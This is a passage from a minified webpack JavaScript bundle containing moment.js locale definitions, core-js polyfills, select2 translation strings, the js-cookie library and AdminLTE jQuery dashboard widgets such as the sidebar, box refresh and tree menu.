?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:n,longMonthsParse:n,shortMonthsParse:n,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(t){if(t.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(t){if(t.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:e,m:e,mm:e,h:"час",hh:e,d:"день",dd:e,w:"неделя",ww:e,M:"месяц",MM:e,y:"год",yy:e},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(t){return/^(дня|вечера)$/.test(t)},meridiem:function(t,e,n){return t<4?"ночи":t<12?"утра":t<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(t,e){switch(e){case"M":case"d":case"DDD":return t+"-й";case"D":return t+"-го";case"w":case"W":return t+"-я";default:return t}},week:{dow:1,doy:4}})}(n("wd/R"))},lyxo:function(t,e,n){!function(t){"use strict";function e(t,e,n){var i=" ";return(t%100>=20||t>=100&&t%100==0)&&(i=" de "),t+i+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"săptămâni",MM:"luni",yy:"ani"}[n]}t.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:e,m:"un minut",mm:e,h:"o oră",hh:e,d:"o zi",dd:e,w:"o săptămână",ww:e,M:"o lună",MM:e,y:"un an",yy:e},week:{dow:1,doy:7}})}(n("wd/R"))},"m/L8":function(t,e,n){var i=n("g6v/"),r=n("DPsx"),o=n("glrk"),a=n("wE6v"),s=Object.defineProperty;e.f=i?s:function(t,e,n){if(o(t),e=a(e,!0),o(n),r)try{return s(t,e,n)}catch(t){}if("get"in n||"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(t[e]=n.value),t}},m92n:function(t,e,n){var i=n("glrk"),r=n("KmKo");t.exports=function(t,e,n,o){try{return o?e(i(n)[0],n[1]):e(n)}catch(e){throw r(t),e}}},ma9I:function(t,e,n){"use strict";var i=n("I+eb"),r=n("0Dky"),o=n("6LWA"),a=n("hh1v"),s=n("ewvW"),l=n("UMSQ"),c=n("hBjN"),u=n("ZfDv"),d=n("Hd5f"),f=n("tiKp"),h=n("LQDL"),p=f("isConcatSpreadable"),m=h>=51||!r((function(){var t=[];return t[p]=!1,t.concat()[0]!==t})),g=d("concat"),y=function(t){if(!a(t))return!1;var e=t[p];return void 0!==e?!!e:o(t)};i({target:"Array",proto:!0,forced:!m||!g},{concat:function(t){var e,n,i,r,o,a=s(this),d=u(a,0),f=0;for(e=-1,i=arguments.length;e<i;e++)if(y(o=-1===e?a:arguments[e])){if(f+(r=l(o.length))>9007199254740991)throw TypeError("Maximum allowed index exceeded");for(n=0;n<r;n++,f++)n in o&&c(d,f,o[n])}else{if(f>=9007199254740991)throw TypeError("Maximum allowed index exceeded");c(d,f++,o)}return d.length=f,d}})},"n3/R":function(t,e,n){"use strict";var i=n("0Dky");function r(t,e){return RegExp(t,e)}e.UNSUPPORTED_Y=i((function(){var t=r("a","y");return t.lastIndex=2,null!=t.exec("abcd")})),e.BROKEN_CARET=i((function(){var t=r("^r","gy");return t.lastIndex=2,null!=t.exec("str")}))},nCmP:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/vi",[],(function(){return{inputTooLong:function(t){return"Vui lòng xóa bớt "+(t.input.length-t.maximum)+" ký tự"},inputTooShort:function(t){return"Vui lòng nhập thêm từ "+(t.minimum-t.input.length)+" ký tự trở lên"},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(t){return"Chỉ có thể chọn được "+t.maximum+" lựa chọn"},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"},removeAllItems:function(){return"Xóa tất cả các mục"}}})),e.define,e.require}()}).call(this,n("EVdn"))},ntOU:function(t,e,n){"use strict";var i=n("rpNk").IteratorPrototype,r=n("fHMY"),o=n("XGwC"),a=n("1E5z"),s=n("P4y1"),l=function(){return this};t.exports=function(t,e,n){var c=e+" Iterator";return t.prototype=r(i,{next:o(1,n)}),a(t,c,!1,!0),s[c]=l,t}},nyYc:function(t,e,n){!function(t){"use strict";var e=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?|janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,n=[/^janv/i,/^févr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^août/i,/^sept/i,/^oct/i,/^nov/i,/^déc/i];t.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsRegex:e,monthsShortRegex:e,monthsStrictRegex:/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,monthsShortStrictRegex:/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(t,e){switch(e){case"D":return t+(1===t?"er":"");default:case"M":case"Q":case"DDD":case"d":return t+(1===t?"er":"e");case"w":case"W":return t+(1===t?"re":"e")}},week:{dow:1,doy:4}})}(n("wd/R"))},oVuX:function(t,e,n){"use strict";var i=n("I+eb"),r=n("RK3t"),o=n("/GqU"),a=n("pkCn"),s=[].join,l=r!=Object,c=a("join",",");i({target:"Array",proto:!0,forced:l||!c},{join:function(t){return s.call(o(this),void 0===t?",":t)}})},p46w:function(t,e,n){var i,r;!function(o){if(void 0===(r="function"==typeof(i=o)?i.call(e,n,e,t):i)||(t.exports=r),!0,t.exports=o(),!!0){var a=window.Cookies,s=window.Cookies=o();s.noConflict=function(){return window.Cookies=a,s}}}((function(){function t(){for(var t=0,e={};t<arguments.length;t++){var n=arguments[t];for(var i in n)e[i]=n[i]}return e}function e(t){return t.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}return function n(i){function r(){}function o(e,n,o){if("undefined"!=typeof document){"number"==typeof(o=t({path:"/"},r.defaults,o)).expires&&(o.expires=new Date(1*new Date+864e5*o.expires)),o.expires=o.expires?o.expires.toUTCString():"";try{var a=JSON.stringify(n);/^[\{\[]/.test(a)&&(n=a)}catch(t){}n=i.write?i.write(n,e):encodeURIComponent(String(n)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g,decodeURIComponent),e=encodeURIComponent(String(e)).replace(/%(23|24|26|2B|5E|60|7C)/g,decodeURIComponent).replace(/[\(\)]/g,escape);var s="";for(var l in o)o[l]&&(s+="; "+l,!0!==o[l]&&(s+="="+o[l].split(";")[0]));return document.cookie=e+"="+n+s}}function a(t,n){if("undefined"!=typeof document){for(var r={},o=document.cookie?document.cookie.split("; "):[],a=0;a<o.length;a++){var s=o[a].split("="),l=s.slice(1).join("=");n||'"'!==l.charAt(0)||(l=l.slice(1,-1));try{var c=e(s[0]);if(l=(i.read||i)(l,c)||e(l),n)try{l=JSON.parse(l)}catch(t){}if(r[c]=l,t===c)break}catch(t){}}return t?r[t]:r}}return r.set=o,r.get=function(t){return a(t,!1)},r.getJSON=function(t){return a(t,!0)},r.remove=function(e,n){o(e,"",t(n,{expires:-1}))},r.defaults={},r.withConverter=n,r}((function(){}))}))},pDQq:function(t,e,n){"use strict";var i=n("I+eb"),r=n("I8vh"),o=n("ppGB"),a=n("UMSQ"),s=n("ewvW"),l=n("ZfDv"),c=n("hBjN"),u=n("Hd5f")("splice"),d=Math.max,f=Math.min;i({target:"Array",proto:!0,forced:!u},{splice:function(t,e){var n,i,u,h,p,m,g=s(this),y=a(g.length),v=r(t,y),b=arguments.length;if(0===b?n=i=0:1===b?(n=0,i=y-v):(n=b-2,i=f(d(o(e),0),y-v)),y+n-i>9007199254740991)throw TypeError("Maximum allowed length exceeded");for(u=l(g,i),h=0;h<i;h++)(p=v+h)in g&&c(u,h,g[p]);if(u.length=i,n<i){for(h=v;h<y-i;h++)m=h+n,(p=h+i)in g?g[m]=g[p]:delete g[m];for(h=y;h>y-i+n;h--)delete g[h-1]}else if(n>i)for(h=y-i;h>v;h--)m=h+n-1,(p=h+i-1)in g?g[m]=g[p]:delete g[m];for(h=0;h<n;h++)g[h+v]=arguments[h+2];return g.length=y-i+n,u}})},pNMO:function(t,e,n){"use strict";var i=n("I+eb"),r=n("2oRo"),o=n("0GbY"),a=n("xDBR"),s=n("g6v/"),l=n("STAE"),c=n("/b8u"),u=n("0Dky"),d=n("UTVS"),f=n("6LWA"),h=n("hh1v"),p=n("glrk"),m=n("ewvW"),g=n("/GqU"),y=n("wE6v"),v=n("XGwC"),b=n("fHMY"),w=n("33Wh"),_=n("JBy8"),k=n("BX/b"),x=n("dBg+"),S=n("Bs8V"),D=n("m/L8"),M=n("0eef"),T=n("kRJp"),C=n("busE"),L=n("VpIT"),O=n("93I0"),E=n("0BK2"),P=n("kOOl"),A=n("tiKp"),Y=n("5Tg+"),j=n("dG/n"),R=n("1E5z"),I=n("afO8"),$=n("tycR").forEach,H=O("hidden"),B=A("toPrimitive"),z=I.set,N=I.getterFor("Symbol"),W=Object.prototype,U=r.Symbol,q=o("JSON","stringify"),F=S.f,V=D.f,K=k.f,G=M.f,J=L("symbols"),Z=L("op-symbols"),Q=L("string-to-symbol-registry"),X=L("symbol-to-string-registry"),tt=L("wks"),et=r.QObject,nt=!et||!et.prototype||!et.prototype.findChild,it=s&&u((function(){return 7!=b(V({},"a",{get:function(){return V(this,"a",{value:7}).a}})).a}))?function(t,e,n){var i=F(W,e);i&&delete W[e],V(t,e,n),i&&t!==W&&V(W,e,i)}:V,rt=function(t,e){var n=J[t]=b(U.prototype);return z(n,{type:"Symbol",tag:t,description:e}),s||(n.description=e),n},ot=c?function(t){return"symbol"==typeof t}:function(t){return Object(t)instanceof U},at=function(t,e,n){t===W&&at(Z,e,n),p(t);var i=y(e,!0);return p(n),d(J,i)?(n.enumerable?(d(t,H)&&t[H][i]&&(t[H][i]=!1),n=b(n,{enumerable:v(0,!1)})):(d(t,H)||V(t,H,v(1,{})),t[H][i]=!0),it(t,i,n)):V(t,i,n)},st=function(t,e){p(t);var n=g(e),i=w(n).concat(dt(n));return $(i,(function(e){s&&!lt.call(n,e)||at(t,e,n[e])})),t},lt=function(t){var e=y(t,!0),n=G.call(this,e);return!(this===W&&d(J,e)&&!d(Z,e))&&(!(n||!d(this,e)||!d(J,e)||d(this,H)&&this[H][e])||n)},ct=function(t,e){var n=g(t),i=y(e,!0);if(n!==W||!d(J,i)||d(Z,i)){var r=F(n,i);return!r||!d(J,i)||d(n,H)&&n[H][i]||(r.enumerable=!0),r}},ut=function(t){var e=K(g(t)),n=[];return $(e,(function(t){d(J,t)||d(E,t)||n.push(t)})),n},dt=function(t){var e=t===W,n=K(e?Z:g(t)),i=[];return $(n,(function(t){!d(J,t)||e&&!d(W,t)||i.push(J[t])})),i};(l||(C((U=function(){if(this instanceof U)throw TypeError("Symbol is not a constructor");var t=arguments.length&&void 0!==arguments[0]?String(arguments[0]):void 0,e=P(t),n=function(t){this===W&&n.call(Z,t),d(this,H)&&d(this[H],e)&&(this[H][e]=!1),it(this,e,v(1,t))};return s&&nt&&it(W,e,{configurable:!0,set:n}),rt(e,t)}).prototype,"toString",(function(){return N(this).tag})),C(U,"withoutSetter",(function(t){return rt(P(t),t)})),M.f=lt,D.f=at,S.f=ct,_.f=k.f=ut,x.f=dt,Y.f=function(t){return rt(A(t),t)},s&&(V(U.prototype,"description",{configurable:!0,get:function(){return N(this).description}}),a||C(W,"propertyIsEnumerable",lt,{unsafe:!0}))),i({global:!0,wrap:!0,forced:!l,sham:!l},{Symbol:U}),$(w(tt),(function(t){j(t)})),i({target:"Symbol",stat:!0,forced:!l},{for:function(t){var e=String(t);if(d(Q,e))return Q[e];var n=U(e);return Q[e]=n,X[n]=e,n},keyFor:function(t){if(!ot(t))throw TypeError(t+" is not a symbol");if(d(X,t))return X[t]},useSetter:function(){nt=!0},useSimple:function(){nt=!1}}),i({target:"Object",stat:!0,forced:!l,sham:!s},{create:function(t,e){return void 0===e?b(t):st(b(t),e)},defineProperty:at,defineProperties:st,getOwnPropertyDescriptor:ct}),i({target:"Object",stat:!0,forced:!l},{getOwnPropertyNames:ut,getOwnPropertySymbols:dt}),i({target:"Object",stat:!0,forced:u((function(){x.f(1)}))},{getOwnPropertySymbols:function(t){return x.f(m(t))}}),q)&&i({target:"JSON",stat:!0,forced:!l||u((function(){var t=U();return"[null]"!=q([t])||"{}"!=q({a:t})||"{}"!=q(Object(t))}))},{stringify:function(t,e,n){for(var i,r=[t],o=1;arguments.length>o;)r.push(arguments[o++]);if(i=e,(h(e)||void 0!==t)&&!ot(t))return f(e)||(e=function(t,e){if("function"==typeof i&&(e=i.call(this,t,e)),!ot(e))return e}),r[1]=e,q.apply(null,r)}});U.prototype[B]||T(U.prototype,B,U.prototype.valueOf),R(U,"Symbol"),E[H]=!0},pRY5:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/sv",[],(function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(t){return"Vänligen sudda ut "+(t.input.length-t.maximum)+" tecken"},inputTooShort:function(t){return"Vänligen skriv in "+(t.minimum-t.input.length)+" eller fler tecken"},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(t){return"Du kan max välja "+t.maximum+" element"},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"},removeAllItems:function(){return"Ta bort alla objekt"}}})),e.define,e.require}()}).call(this,n("EVdn"))},pjDv:function(t,e,n){var i=n("I+eb"),r=n("TfTi");i({target:"Array",stat:!0,forced:!n("HH4o")((function(t){Array.from(t)}))},{from:r})},pkCn:function(t,e,n){"use strict";var i=n("0Dky");t.exports=function(t,e){var n=[][t];return!!n&&i((function(){n.call(null,e||function(){throw 1},1)}))}},ppGB:function(t,e){var n=Math.ceil,i=Math.floor;t.exports=function(t){return isNaN(t=+t)?0:(t>0?i:n)(t)}},"qG+3":function(t,e,n){(function(t){if(void 0===t)throw new Error("AdminLTE requires jQuery");!function(t){"use strict";function e(e,n){if(this.element=e,this.options=n,this.$overlay=t(n.overlayTemplate),""===n.source)throw new Error("Source url was not defined. Please specify a url in your BoxRefresh source option.");this._setUpListeners(),this.load()}var n="lte.boxrefresh",i={source:"",params:{},trigger:".refresh-btn",content:".box-body",loadInContent:!0,responseType:"",overlayTemplate:'<div class="overlay"><div class="fa fa-refresh fa-spin"></div></div>',onLoadStart:function(){},onLoadDone:function(t){return t}};function r(r){return this.each((function(){var o=t(this),a=o.data(n);if(!a){var s=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,a=new e(o,s))}if("string"==typeof a){if(void 0===a[r])throw new Error("No method named "+r);a[r]()}}))}e.prototype.load=function(){this._addOverlay(),this.options.onLoadStart.call(t(this)),t.get(this.options.source,this.options.params,function(e){this.options.loadInContent&&t(this.element).find(this.options.content).html(e),this.options.onLoadDone.call(t(this),e),this._removeOverlay()}.bind(this),""!==this.options.responseType&&this.options.responseType)},e.prototype._setUpListeners=function(){t(this.element).on("click",this.options.trigger,function(t){t&&t.preventDefault(),this.load()}.bind(this))},e.prototype._addOverlay=function(){t(this.element).append(this.$overlay)},e.prototype._removeOverlay=function(){t(this.$overlay).remove()};var o=t.fn.boxRefresh;t.fn.boxRefresh=r,t.fn.boxRefresh.Constructor=e,t.fn.boxRefresh.noConflict=function(){return t.fn.boxRefresh=o,this},t(window).on("load",(function(){t('[data-widget="box-refresh"]').each((function(){r.call(t(this))}))}))}(t),function(t){"use strict";function e(t,e){this.element=t,this.options=e,this._setUpListeners()}var n="lte.boxwidget",i={animationSpeed:500,collapseTrigger:'[data-widget="collapse"]',removeTrigger:'[data-widget="remove"]',collapseIcon:"fa-minus",expandIcon:"fa-plus",removeIcon:"fa-times"},r=".box-header",o=".box-body",a=".box-footer",s=".box-tools",l="collapsed-box";function c(r){return this.each((function(){var o=t(this),a=o.data(n);if(!a){var s=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,a=new e(o,s))}if("string"==typeof r){if(void 0===a[r])throw new Error("No method named "+r);a[r]()}}))}e.prototype.toggle=function(){t(this.element).is(".collapsed-box")?this.expand():this.collapse()},e.prototype.expand=function(){var e=t.Event("expanded.boxwidget"),n=t.Event("expanding.boxwidget"),i=this.options.collapseIcon,c=this.options.expandIcon;t(this.element).removeClass(l),t(this.element).children(r+", "+o+", "+a).children(s).find("."+c).removeClass(c).addClass(i),t(this.element).children(o+", "+a).slideDown(this.options.animationSpeed,function(){t(this.element).trigger(e)}.bind(this)).trigger(n)},e.prototype.collapse=function(){var e=t.Event("collapsed.boxwidget"),n=t.Event("collapsing.boxwidget"),i=this.options.collapseIcon,c=this.options.expandIcon;t(this.element).children(r+", "+o+", "+a).children(s).find("."+i).removeClass(i).addClass(c),t(this.element).children(o+", "+a).slideUp(this.options.animationSpeed,function(){t(this.element).addClass(l),t(this.element).trigger(e)}.bind(this)).trigger(n)},e.prototype.remove=function(){var e=t.Event("removed.boxwidget"),n=t.Event("removing.boxwidget");t(this.element).slideUp(this.options.animationSpeed,function(){t(this.element).trigger(e),t(this.element).remove()}.bind(this)).trigger(n)},e.prototype._setUpListeners=function(){var e=this;t(this.element).on("click",this.options.collapseTrigger,(function(n){return n&&n.preventDefault(),e.toggle(t(this)),!1})),t(this.element).on("click",this.options.removeTrigger,(function(n){return n&&n.preventDefault(),e.remove(t(this)),!1}))};var u=t.fn.boxWidget;t.fn.boxWidget=c,t.fn.boxWidget.Constructor=e,t.fn.boxWidget.noConflict=function(){return t.fn.boxWidget=u,this},t(window).on("load",(function(){t(".box").each((function(){c.call(t(this))}))}))}(t),function(t){"use strict";function e(t,e){this.element=t,this.options=e,this.hasBindedResize=!1,this.init()}var n="lte.controlsidebar",i={controlsidebarSlide:!0},r=".control-sidebar",o='[data-toggle="control-sidebar"]',a=".control-sidebar-open",s="control-sidebar-open",l="control-sidebar-hold-transition";function c(r){return this.each((function(){var o=t(this),a=o.data(n);if(!a){var s=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,a=new e(o,s))}"string"==typeof r&&a.toggle()}))}e.prototype.init=function(){t(this.element).is(o)||t(this).on("click",this.toggle),this.fix(),t(window).resize(function(){this.fix()}.bind(this))},e.prototype.toggle=function(e){e&&e.preventDefault(),this.fix(),t(r).is(a)||t("body").is(a)?this.collapse():this.expand()},e.prototype.expand=function(){t(r).show(),this.options.controlsidebarSlide?t(r).addClass(s):t("body").addClass(l).addClass(s).delay(50).queue((function(){t("body").removeClass(l),t(this).dequeue()})),t(this.element).trigger(t.Event("expanded.controlsidebar"))},e.prototype.collapse=function(){this.options.controlsidebarSlide?t(r).removeClass(s):t("body").addClass(l).removeClass(s).delay(50).queue((function(){t("body").removeClass(l),t(this).dequeue()})),t(r).fadeOut(),t(this.element).trigger(t.Event("collapsed.controlsidebar"))},e.prototype.fix=function(){t("body").is(".layout-boxed")&&this._fixForBoxed(t(".control-sidebar-bg"))},e.prototype._fixForBoxed=function(e){e.css({position:"absolute",height:t(".wrapper").height()})};var u=t.fn.controlSidebar;t.fn.controlSidebar=c,t.fn.controlSidebar.Constructor=e,t.fn.controlSidebar.noConflict=function(){return t.fn.controlSidebar=u,this},t(document).on("click",o,(function(e){e&&e.preventDefault(),c.call(t(this),"toggle")}))}(t),function(t){"use strict";function e(t){this.element=t}var n="lte.directchat";function i(i){return this.each((function(){var r=t(this),o=r.data(n);o||r.data(n,o=new e(r)),"string"==typeof i&&o.toggle(r)}))}e.prototype.toggle=function(t){t.parents(".direct-chat").first().toggleClass("direct-chat-contacts-open")};var r=t.fn.directChat;t.fn.directChat=i,t.fn.directChat.Constructor=e,t.fn.directChat.noConflict=function(){return t.fn.directChat=r,this},t(document).on("click",'[data-widget="chat-pane-toggle"]',(function(e){e&&e.preventDefault(),i.call(t(this),"toggle")}))}(t),function(t){"use strict";function e(t){this.options=t,this.init()}var n="lte.pushmenu",i={collapseScreenSize:767,expandOnHover:!1,expandTransitionDelay:200},r='[data-toggle="push-menu"]',o=".sidebar-mini",a="sidebar-collapse",s="sidebar-open",l="sidebar-expanded-on-hover",c="expanded.pushMenu",u="collapsed.pushMenu";function d(r){return this.each((function(){var o=t(this),a=o.data(n);if(!a){var s=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,a=new e(s))}"toggle"===r&&a.toggle()}))}e.prototype.init=function(){(this.options.expandOnHover||t("body").is(o+".fixed"))&&(this.expandOnHover(),t("body").addClass("sidebar-mini-expand-feature")),t(".content-wrapper").click(function(){t(window).width()<=this.options.collapseScreenSize&&t("body").hasClass(s)&&this.close()}.bind(this)),t(".sidebar-form .form-control").click((function(t){t.stopPropagation()}))},e.prototype.toggle=function(){var e=t(window).width(),n=!t("body").hasClass(a);e<=this.options.collapseScreenSize&&(n=t("body").hasClass(s)),n?this.close():this.open()},e.prototype.open=function(){t(window).width()>this.options.collapseScreenSize?t("body").removeClass(a).trigger(t.Event(c)):t("body").addClass(s).trigger(t.Event(c))},e.prototype.close=function(){t(window).width()>this.options.collapseScreenSize?t("body").addClass(a).trigger(t.Event(u)):t("body").removeClass(s+" "+a).trigger(t.Event(u))},e.prototype.expandOnHover=function(){t(".main-sidebar").hover(function(){t("body").is(o+".sidebar-collapse")&&t(window).width()>this.options.collapseScreenSize&&this.expand()}.bind(this),function(){t("body").is(".sidebar-expanded-on-hover")&&this.collapse()}.bind(this))},e.prototype.expand=function(){setTimeout((function(){t("body").removeClass(a).addClass(l)}),this.options.expandTransitionDelay)},e.prototype.collapse=function(){setTimeout((function(){t("body").removeClass(l).addClass(a)}),this.options.expandTransitionDelay)};var f=t.fn.pushMenu;t.fn.pushMenu=d,t.fn.pushMenu.Constructor=e,t.fn.pushMenu.noConflict=function(){return t.fn.pushMenu=f,this},t(document).on("click",r,(function(e){e.preventDefault(),d.call(t(this),"toggle")})),t(window).on("load",(function(){d.call(t(r))}))}(t),function(t){"use strict";function e(t,e){this.element=t,this.options=e,this._setUpListeners()}var n="lte.todolist",i={onCheck:function(t){return t},onUnCheck:function(t){return t}},r={data:'[data-widget="todo-list"]'};function o(r){return this.each((function(){var o=t(this),a=o.data(n);if(!a){var s=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,a=new e(o,s))}if("string"==typeof a){if(void 0===a[r])throw new Error("No method named "+r);a[r]()}}))}e.prototype.toggle=function(t){t.parents(r.li).first().toggleClass("done"),t.prop("checked")?this.check(t):this.unCheck(t)},e.prototype.check=function(t){this.options.onCheck.call(t)},e.prototype.unCheck=function(t){this.options.onUnCheck.call(t)},e.prototype._setUpListeners=function(){var e=this;t(this.element).on("change ifChanged","input:checkbox",(function(){e.toggle(t(this))}))};var a=t.fn.todoList;t.fn.todoList=o,t.fn.todoList.Constructor=e,t.fn.todoList.noConflict=function(){return t.fn.todoList=a,this},t(window).on("load",(function(){t(r.data).each((function(){o.call(t(this))}))}))}(t),function(t){"use strict";function e(e,n){this.element=e,this.options=n,t(this.element).addClass(l),t(r+a,this.element).addClass(s),this._setUpListeners()}var n="lte.tree",i={animationSpeed:500,accordion:!0,followLink:!1,trigger:".treeview a"},r=".treeview",o=".treeview-menu",a=".active",s="menu-open",l="tree";function c(r){return this.each((function(){var o=t(this);if(!o.data(n)){var a=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,new e(o,a))}}))}e.prototype.toggle=function(t,e){var n=t.next(o),i=t.parent(),a=i.hasClass(s);i.is(r)&&(this.options.followLink&&"#"!==t.attr("href")||e.preventDefault(),a?this.collapse(n,i):this.expand(n,i))},e.prototype.expand=function(e,n){var i=t.Event("expanded.tree");if(this.options.accordion){var r=n.siblings(".menu-open, .active"),a=r.children(o);this.collapse(a,r)}n.addClass(s),e.stop().slideDown(this.options.animationSpeed,function(){t(this.element).trigger(i),n.height("auto")}.bind(this))},e.prototype.collapse=function(e,n){var i=t.Event("collapsed.tree");n.removeClass(s),e.stop().slideUp(this.options.animationSpeed,function(){t(this.element).trigger(i),n.find(r).removeClass(s).find(o).hide()}.bind(this))},e.prototype._setUpListeners=function(){var e=this;t(this.element).on("click",this.options.trigger,(function(n){e.toggle(t(this),n)}))};var u=t.fn.tree;t.fn.tree=c,t.fn.tree.Constructor=e,t.fn.tree.noConflict=function(){return t.fn.tree=u,this},t(window).on("load",(function(){t('[data-widget="tree"]').each((function(){c.call(t(this))}))}))}(t),function(t){"use strict";function e(t){this.options=t,this.bindedResize=!1,this.activate()}var n="lte.layout",i={slimscroll:!0,resetHeight:!0},r=".wrapper",o=".content-wrapper",a=".main-header",s=".sidebar",l=".sidebar-menu",c="fixed";function u(r){return this.each((function(){var o=t(this),a=o.data(n);if(!a){var s=t.extend({},i,o.data(),"object"==typeof r&&r);o.data(n,a=new e(s))}if("string"==typeof r){if(void 0===a[r])throw new Error("No method named "+r);a[r]()}}))}e.prototype.activate=function(){this.fix(),this.fixSidebar(),t("body").removeClass("hold-transition"),this.options.resetHeight&&t("body, html, "+r).css({height:"auto","min-height":"100%"}),this.bindedResize||(t(window).resize(function(){this.fix(),this.fixSidebar(),t(".main-header .logo, "+s).one("webkitTransitionEnd otransitionend oTransitionEnd msTransitionEnd transitionend",function(){this.fix(),this.fixSidebar()}.bind(this))}.bind(this)),this.bindedResize=!0),t(l).on("expanded.tree",function(){this.fix(),this.fixSidebar()}.bind(this)),t(l).on("collapsed.tree",function(){this.fix(),this.fixSidebar()}.bind(this))},e.prototype.fix=function(){t(".layout-boxed > "+r).css("overflow","hidden");var 